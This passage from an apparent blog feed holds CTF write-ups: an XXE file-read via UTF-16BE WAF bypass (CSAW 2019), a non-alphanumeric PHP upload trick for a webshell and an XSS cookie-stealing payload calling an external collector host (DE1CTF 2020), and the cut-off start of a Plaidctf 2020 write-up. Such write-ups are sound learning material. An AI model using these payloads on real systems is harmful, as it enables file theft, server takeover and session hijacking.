</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;user&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;username&gt;</span>Jam<span style="color:#f92672">&lt;/username&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;password&gt;</span>wordpass<span style="color:#f92672">&lt;/password&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;name&gt;</span>Jam<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;email&gt;</span>jam@jelly.com<span style="color:#f92672">&lt;/email&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;group&gt;</span>&amp;xxe;<span style="color:#f92672">&lt;/group&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/users&gt;</span>
</span></span></code></pre></div><p>UTF-16 encoding does bypass the WAF but when the flag.txt file is loaded&hellip;</p>
<pre tabindex="0"><code>name: Jam
email: jam@jelly.com
group: AAAAAAAAAAAAAAAAAAAA
</code></pre><p>It&rsquo;s cut off, probably cause the &ldquo;group&rdquo; field has a character limit. But interestingly enough, the xml sample file doesn&rsquo;t specify a field we saw before - <code>intro</code>. Could we just put our xxe attack in there?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-16BE&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE foo [
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	&lt;!ENTITY xxe SYSTEM &#34;file:////flag.txt&#34; &gt;</span>
</span></span><span style="display:flex;"><span>]&gt;    
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;users&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;user&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;username&gt;</span>Jam<span style="color:#f92672">&lt;/username&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;password&gt;</span>wordpass<span style="color:#f92672">&lt;/password&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;name&gt;</span>Jam<span style="color:#f92672">&lt;/name&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;email&gt;</span>jam@jelly.com<span style="color:#f92672">&lt;/email&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;group&gt;</span>Fruit Preservatives<span style="color:#f92672">&lt;/group&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;intro&gt;</span>&amp;xxe;<span style="color:#f92672">&lt;/intro&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/user&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/users&gt;</span>
</span></span></code></pre></div><p>It works!</p>
<pre tabindex="0"><code>name: Jam
email: jam@jelly.com
group: Fruit Preservatives
intro: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag{n0w_i&#39;m_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</code></pre><hr>
<p>Looking back at CSAW 2019 now, it&rsquo;s almost obvious that the attack vector here was an XXE. Of course, being young and somewhat new to the collective CTF scene I wouldn&rsquo;t have figured this out from the get-go. It feels nice to know that I have grown and evolved as a CTF hacker, and I will continue to do so. While I got more serious early this year, each CTF I participate in teaches me something new, and I will continue to grow and evolve as I participate in more CTFs. Hopefully if anyone reads this and feels uncertain about how much they don&rsquo;t know, spin it around and see it as an oppurtunity of how much you can learn :) Anyway, this was a quick writeup I did based on my year-old notes on this challenge, so I apologize for the lack of screenshots and otherwise simple presentation of it. This coming weekend, I will be participating in a few different CTFs, so expect more writeups to come soon!</p>
<p>Jam</p>
<hr>
<p>References</p>
<p>Cover Image: <a href="https://www.pexels.com/@isabella-mendes-107313">Isabella Mendes</a> on Pexels</p>
]]></content>
        </item>
        
        <item>
            <title>DE1ctf 2020: Hard_Pentest_1 and Animal Crossing</title>
            <link>https://jamvie.net/posts/2020/05/de1ctf-2020-hard_pentest_1-and-animal-crossing/</link>
            <pubDate>Thu, 07 May 2020 15:20:38 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/05/de1ctf-2020-hard_pentest_1-and-animal-crossing/</guid>
            <description>&lt;p&gt;The intersection of web-based challenges and other challenges should be expected to be seen in CTFs, but yet still I&amp;rsquo;m always surprised when I see it in action.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>The intersection of web-based challenges and other challenges should be expected to be seen in CTFs, but yet still I&rsquo;m always surprised when I see it in action.</p>
<p>De1CTF 2020 really gave me a thorough and in-depth understanding of php, maybe more than I would have ever done on my own. It was actually welcome experience to try out web problems that weren&rsquo;t just purely web-based.
Unfortunately, because of that these problems required more time for me to solve. Hard_Pentest_1 has been a journey in its web-based issues, but a whole different adventure in pwning when you actually complete part of it. So this blog post is gonna be a part 1 of 2.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<h2 id="hard_pentest_1">Hard_Pentest_1</h2>
<p>The no-css basic HTML page exposes its php scripts right off the bat.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//Clear the uploads directory every hour
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">highlight_file</span>(<span style="color:#66d9ef">__FILE__</span>);
</span></span><span style="display:flex;"><span>$sandbox <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;uploads/&#34;</span><span style="color:#f92672">.</span> <span style="color:#a6e22e">md5</span>(<span style="color:#e6db74">&#34;De1CTF2020&#34;</span><span style="color:#f92672">.</span>$_SERVER[<span style="color:#e6db74">&#39;REMOTE_ADDR&#39;</span>]);
</span></span><span style="display:flex;"><span><span style="color:#f92672">@</span><span style="color:#a6e22e">mkdir</span>($sandbox);
</span></span><span style="display:flex;"><span><span style="color:#f92672">@</span><span style="color:#a6e22e">chdir</span>($sandbox);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>($_POST[<span style="color:#e6db74">&#34;submit&#34;</span>]){
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (($_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;size&#34;</span>] <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">2048</span>) <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">Check</span>()){
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> ($_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;error&#34;</span>] <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">die</span>($_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;error&#34;</span>]);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>            $filename<span style="color:#f92672">=</span><span style="color:#a6e22e">md5</span>($_SERVER[<span style="color:#e6db74">&#39;REMOTE_ADDR&#39;</span>])<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;_&#34;</span><span style="color:#f92672">.</span>$_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;name&#34;</span>];
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">move_uploaded_file</span>($_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;tmp_name&#34;</span>], $filename);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;save in:&#34;</span> <span style="color:#f92672">.</span> $sandbox<span style="color:#f92672">.</span><span style="color:#e6db74">&#34;/&#34;</span> <span style="color:#f92672">.</span> $filename;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Not Allow!&#34;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">Check</span>(){
</span></span><span style="display:flex;"><span>    $BlackExts <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#34;php&#34;</span>);
</span></span><span style="display:flex;"><span>    $ext <span style="color:#f92672">=</span> <span style="color:#a6e22e">explode</span>(<span style="color:#e6db74">&#34;.&#34;</span>, $_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;name&#34;</span>]);
</span></span><span style="display:flex;"><span>    $exts <span style="color:#f92672">=</span> <span style="color:#a6e22e">trim</span>(<span style="color:#a6e22e">end</span>($ext));
</span></span><span style="display:flex;"><span>    $file_content <span style="color:#f92672">=</span> <span style="color:#a6e22e">file_get_contents</span>($_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;tmp_name&#34;</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">preg_match</span>(<span style="color:#e6db74">&#39;/[a-z0-9;~^`&amp;|]/is&#39;</span>,$file_content)  <span style="color:#f92672">&amp;&amp;</span> 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">!</span><span style="color:#a6e22e">in_array</span>($exts, $BlackExts) <span style="color:#f92672">&amp;&amp;</span> 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">!</span><span style="color:#a6e22e">preg_match</span>(<span style="color:#e6db74">&#39;/\.\./&#39;</span>,$_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;name&#34;</span>])) {
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;html&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;head&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;meta charset=&#34;utf-8&#34;&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;title&gt;upload&lt;/title&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;/head&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;body&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;form action=&#34;index.php&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">    &lt;input type=&#34;file&#34; name=&#34;file&#34; id=&#34;file&#34;&gt;&lt;br&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">    &lt;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;submit&#34;&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;/form&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;/body&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;/html&gt;
</span></span></span></code></pre></div><p>The <code>Check()</code> method is important here.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">Check</span>(){
</span></span><span style="display:flex;"><span>    $BlackExts <span style="color:#f92672">=</span> <span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#34;php&#34;</span>);
</span></span><span style="display:flex;"><span>    $ext <span style="color:#f92672">=</span> <span style="color:#a6e22e">explode</span>(<span style="color:#e6db74">&#34;.&#34;</span>, $_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;name&#34;</span>]);
</span></span><span style="display:flex;"><span>    $exts <span style="color:#f92672">=</span> <span style="color:#a6e22e">trim</span>(<span style="color:#a6e22e">end</span>($ext));
</span></span><span style="display:flex;"><span>    $file_content <span style="color:#f92672">=</span> <span style="color:#a6e22e">file_get_contents</span>($_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;tmp_name&#34;</span>]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span><span style="color:#a6e22e">preg_match</span>(<span style="color:#e6db74">&#39;/[a-z0-9;~^`&amp;|]/is&#39;</span>,$file_content)  <span style="color:#f92672">&amp;&amp;</span> 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">!</span><span style="color:#a6e22e">in_array</span>($exts, $BlackExts) <span style="color:#f92672">&amp;&amp;</span> 
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">!</span><span style="color:#a6e22e">preg_match</span>(<span style="color:#e6db74">&#39;/\.\./&#39;</span>,$_FILES[<span style="color:#e6db74">&#34;file&#34;</span>][<span style="color:#e6db74">&#34;name&#34;</span>])) {
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">false</span>;
</span></span></code></pre></div><p>We can only upload php files, so maybe I can try to open a webshell here. The name, &ldquo;Hard_Pentest&rdquo; also gives me a hint that I should try to open a webshell. But the if statement blocks all alphanumerics and certain special characters from being processed. So, at first glance, anything we feed into this function won&rsquo;t be processed. But php is a <del>strange and weird</del> fascinating language with plenty of loopholes and different quirks about it, one of them, being the concept of &ldquo;<a href="https://www.php.net/manual/en/language.operators.increment.php">string/character arithmetic</a>&rdquo; (not the real term but I have no other informed way to describe it):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$a <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Z&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> $a<span style="color:#f92672">++</span>; <span style="color:#75715e">//Basically, Z + 1. This will print &#39;AA&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">output</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;AA&#39;</span>
</span></span></code></pre></div><p>This is valid PHP. This definitely isn&rsquo;t something you&rsquo;d see in other conventional languages. What does it mean to increment &lsquo;Z&rsquo; by 1? Logically it makes no sense, but in PHP it does!</p>
<p>Another thing PHP has that we can utilize here is shorthand statements. Plenty of other languages have this feature as well in some way or another. For example, the ternary operator <code>?</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$result <span style="color:#f92672">=</span> $condition <span style="color:#f92672">?</span> <span style="color:#e6db74">&#39;Jam&#39;</span> <span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;Vie&#39;</span>;
</span></span></code></pre></div><p>is shorthand for</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ($condition){
</span></span><span style="display:flex;"><span>    $result <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Jam&#39;</span>;
</span></span><span style="display:flex;"><span>}<span style="color:#66d9ef">else</span>{
</span></span><span style="display:flex;"><span>    $result <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Vie&#39;</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>And finally, the last quirk about php: arrays and strings.</p>
<p>In other languages, arrays and strings are treated as distinct, two different data types. Some languages may treat strings as an array of chars, but by convention, just any random and arbitrary array can&rsquo;t and shouldn&rsquo;t be joined with a string without proper typesetting and checking. Okay, sounds fair and good and all. But what does php do instead?</p>
<p>In php, you can join arrays and strings together. The array will be converted to the string: <code>'Array'</code>.</p>
<pre tabindex="0"><code>php &gt; echo &#39;&#39;.[];
PHP Notice: Array to string conversion on line 1
Array               &lt;------The string, &#39;Array&#39;


php &gt; $var = &#39;&#39;.[];
php &gt; echo $var[&#39;!&#39;==&#39;@&#39;];   &lt;------Should give us the first leter in &#39;Array&#39;
A
</code></pre><p>What does this mean for us?</p>
<p>Because of the <code>Check()</code> function, we can&rsquo;t use alphanumerics or certain special characters. But for the list of valid special characters, <code>[]</code> square brackets are allowed, so we can declare arrays as normal. And we can still declare variables as usual, and the <code>+</code> operators are still valid so we can utilize string arithmetic.</p>
<p>So, all in all, if we wanted to spell the word <code>GET</code> with all the restrictions above, it would look like</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span> $_<span style="color:#f92672">=</span>[] <span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">            //Declare array
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $_=@&#34;$_&#34; ?&gt;         //array is converted to a string, &#34;Array&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $_=$_[&#39;!&#39;==&#39;@&#39;] ?&gt;  //Access first element in array. The &#39;!&#39;==&#39;@&#39; check returns 0
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $___=$_ ?&gt;          //&#39;A&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $__ = $_ ?&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?&gt;   
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $_______ = $__ ?&gt;   //&#39;G&#39;     
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $__ = $_ ?&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= @$____ = $__++ + $__++ + $__++ + $__++ ?&gt;    //&#39;E&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $_______ .= $__ ?&gt;                           //&#39;GE&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $__ = $_ ?&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?&gt;   //&#39;T&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">&lt;?= $_______ .= $__  ?&gt; //&#39;GET&#39;
</span></span></span></code></pre></div><p>Armed with this knowledge, we can write out entire lines of code of php that are just a series of various shorthand operators and symbols, and string arithmetic.</p>
<p>The first hurdle is the existence of the php opening tag. All php code requires the <code>&lt;?php</code> opening tag before anything, kinda like the start of any HTML document needing <code>&lt;HTML&gt;</code> to be declared first at the top.</p>
<p>Checking out php open tags, we come across the existence of shorthand tags for them, in the <a href="https://www.php.net/manual/en/language.basic-syntax.phptags.php">PHP documentation</a>:</p>
<blockquote>
<p>PHP includes a short echo tag &lt;?= which is a short-hand to the more verbose &lt;?php echo.</p>
<p>PHP also allows for short open tag &lt;? (which is discouraged since it is only available if enabled using the short_open_tag php.ini configuration file directive, or if PHP was configured with the &ndash;enable-short-tags option).</p>
</blockquote>
<p>So we can work around saying <code>&lt;?php&gt;</code> with <code>&lt;?=</code> instead!</p>
<p>The second hurdle is the semi-colon, which ends PHP statements. This can be worked around by simply creating new lines of PHP code for each time we want to make a new statement.</p>
<p>So with this in mind we can easily craft a php script to open up a webshell on their server, and poke around.
But that&rsquo;s just part 1 of the problem: we&rsquo;ve sucessfully opened a shell on the server, but the scope of my pwn abilities isn&rsquo;t much to really comprehend what&rsquo;s going on here. Unfortunately, this challenge will remain unsolved until I can figure out how to play around with a Microsoft webshell.</p>
<hr>
<h2 id="animal-crossing">Animal Crossing</h2>
<p>Despite the few solves this problem has, I was drawn to it because of its name. Who doesn&rsquo;t love Animal Crossing?</p>

    <img src="/images/DE1CTF01.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>The website allows you to make a passport. There are fields for your name, island name, nickname, and favourite fruit, I think.</p>
<p>When we make a passport we are redirected to a URL where the contents of what we typed are reflected in it (a sign of XSS attacks). And, at the bottom, is a report function (A BIG sign of XSS attacks).</p>
<p>When we go ahead and report it&hellip;</p>

    <img src="/images/DE1CTF02.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>I thought my client broke for a second. I wasn&rsquo;t expecting just plain code to be printed on the front-end.</p>
<p>It stumped me at first - the ability to report is blocked by this md5 code checking function. I needed to input some string whose md5 encoding&rsquo;s first 6 characters matched the randomized string. I didn&rsquo;t actually get what this was supposed to be doing, I was confused as to wether or not this was still a broken webpage or not, and I asked my team for help. Luckily, my teammate Filip, who&rsquo;s really good at pwn-based challenges, told me it was a &ldquo;proof of work&rdquo; - I just needed to brute-force my way in by finding a string with the md5 hash characters matching the random one. He gave me a script I could work with to start cracking it.</p>
<p>The good thing (in this context, bad for others) about md5 is that it&rsquo;s a one-way hashing but there is no salting to the code value, it&rsquo;s just the hash. Therefore, a string put through md5 would always return the same md5 encoding. So I just needed to randomly generate a string, md5 it, then check the digest against the random one.</p>
<p>Well great, I have succesfully done so and reported my passport to an admin. With this extra step of generating a valid code, the rest of Animal Crossing is a general XSS attack.</p>
<p>We want to report a URL that will grab the admin cookie when a user checks out our URL, and sends it to the server(You can use pastebin, XSSHunter, webhook.site, etc). Part of my payload looks like this:</p>
<pre tabindex="0"><code>data=base64DATAXXXXXXX&#39;javascript:eval(&#39;var a=document.createElement(\&#39;script\&#39;);a.src=\&#39;https://ServerHere.xss.ht\&#39;;document.body.appendChild(a)&#39;)
</code></pre><p>And we retrieve the cookie, which has the flag:</p>
<p><code>FLAG=De1CTF{I_l1k4_</code></p>
<p>But this is just one half of the flag. Where&rsquo;s the other half?</p>
<p>Eventually, De1CTF released a hint: &ldquo;what is the admin doing?&rdquo;. After the CTF, I ruminated on the implications of this hint.</p>
<p>Looking at the document shows hundreds of png images, of what looks like other people&rsquo;s passports. I guess, the other half of the flag is among them. But the hint got me thinking - obviously, the admin would have to be leafing through the screenshots but its not like the flag will just magically turn up in one of the images cause they forgot to hide their flag text file out of view. So unless I can control the screenshot, I doubt I&rsquo;ll be able to find the flag.</p>
<p>The library &lsquo;<a href="https://html2canvas.hertzen.com/">html2canvas</a>&rsquo; comes to mind - taking screenshots with javascript. If I pass a payload to the admin that takes a screenshot of their interface, will the flag be there?</p>
<p>The idea here is to upload some code using html2canvas. If we give it a .png extension the server won&rsquo;t complain, after which you can fetch your image back, whatever you called it, and evaluate it so it takes the screenshot and you can download it. Your code should import the html2canvas library, take a screenshot, then upload that screenshot to the server for you to fetch and download.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">`/static/images/WhateverYouNamedYourFile.png`</span>).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">resp</span>=&gt;<span style="color:#a6e22e">resp</span>.<span style="color:#a6e22e">text</span>()).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">flag</span>=&gt;eval((<span style="color:#a6e22e">flag</span>) <span style="color:#f92672">||</span> <span style="color:#e6db74">&#39;0 + 0&#39;</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//0+0 check is my way of checking errors. If the fetch response evals to a 0 I did something wrong.
</span></span></span></code></pre></div><p>I create this and report it to the admin. When the admin visits the URL with the javascript payload (not shown here), it will take a screenshot of the admin&rsquo;s interface and send it back to me. I get the address and download it for the other half of the flag:</p>
<p><code>cool_GamE}</code></p>
<p>So the full flag would be: <code>FLAG=De1CTF{I_l1k4_cool_GamE}</code></p>
<p>This was definitely a challenge that stretched my capabilities of XSS attacks past grabbing cookies and pretending to be admin. The 2nd half of taking a screenshot of the admin&rsquo;s interface was unique and certainly not something I would&rsquo;ve thought of immediately. All in all, I&rsquo;m glad I participated in DE1CTF despite the difficulty levels of the problems I faced!</p>
<p>Jam</p>
<hr>
<h2 id="references">References</h2>
<p>Feature Image by Sara Kurfeß on Unsplash</p>]]></content>
        </item>
        
        <item>
            <title>Plaidctf 2020: Contrived Web Problem</title>
            <link>https://jamvie.net/posts/2020/04/plaidctf-2020-contrived-web-problem/</link>
            <pubDate>Tue, 28 Apr 2020 00:48:12 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/04/plaidctf-2020-contrived-web-problem/</guid>
            <description>&lt;p&gt;This was a CTF I unfortunately didn&amp;rsquo;t have the time for, as I was busy doing finals in April :(. My team let me know about this cool and unique problem, and I&amp;rsquo;m glad they did!&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>This was a CTF I unfortunately didn&rsquo;t have the time for, as I was busy doing finals in April :(. My team let me know about this cool and unique problem, and I&rsquo;m glad they did!</p>
<p>This was a journey in understanding internet protocols that deepened my knowledge of them to completely new levels, so I&rsquo;m really grateful I got the chance to try this problem out - even though I tried it after the CTF ended :P</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>This problem really holds up to its name. The website is simple - you have the option to login or register as a new user.</p>

    <img src="/images/CWP01.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Uniquely, we are given the source code for the problem. The source code shows us that the program has 6 services:</p>
<pre tabindex="0"><code>\services
    \api 
    \email (email server, sends emails based on rabbitmq queue)
    \ftp
    \postgres (database)
    \rabbit (email queue, will send requests to the email server)
    \server
...
</code></pre><p>Checking out the code, I see that <code>flag.txt</code> is actually mentioned. It&rsquo;s in the services dockerfile, which is only used by <code>api</code>, <code>email</code> and <code>server</code> services. So, the vulnerability probably is within one of these services.</p>
<p>I checked out <code>api</code> first - and I see that the only protocols that it allows are HTTP, HTTPS, and FTP. Aside from the FTP protocol, the other 2 are pretty standard protocols to see in APIs.</p>
<p>Looking at <code>email</code> next, which uses <a href="https://nodemailer.com/about/">nodemailer</a>. I&rsquo;m not too familiar with it, so I check out its documentation:</p>

    <img src="/images/CWP02.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>This seems like a good loophole to exploit - we just need to specify the filepath and nodemailer will send an email with an attachment of whatever file we specified by the filepath, so we can exploit nodemailer&rsquo;s same origin policy. Since the rabbitmq server is the email server&rsquo;s queue, we will send a rogue email request into rabbitmq&rsquo;s queue to serve up to the email server, which will tell it to email us the flag!</p>
<p>Now the hard part - how <em>do we</em> ask the server? How do we send a request to the server to send us the email with the flag as an attachment?</p>
<p>I spent a long time trying to figure out how to send a rogue request to the rabbitmq server that will send us the email we want. I spent hours just browsing through the source code, not really paying attention&hellip;</p>
<p>Until I came across this piece of code in the <code>api/index.ts</code> file:</p>
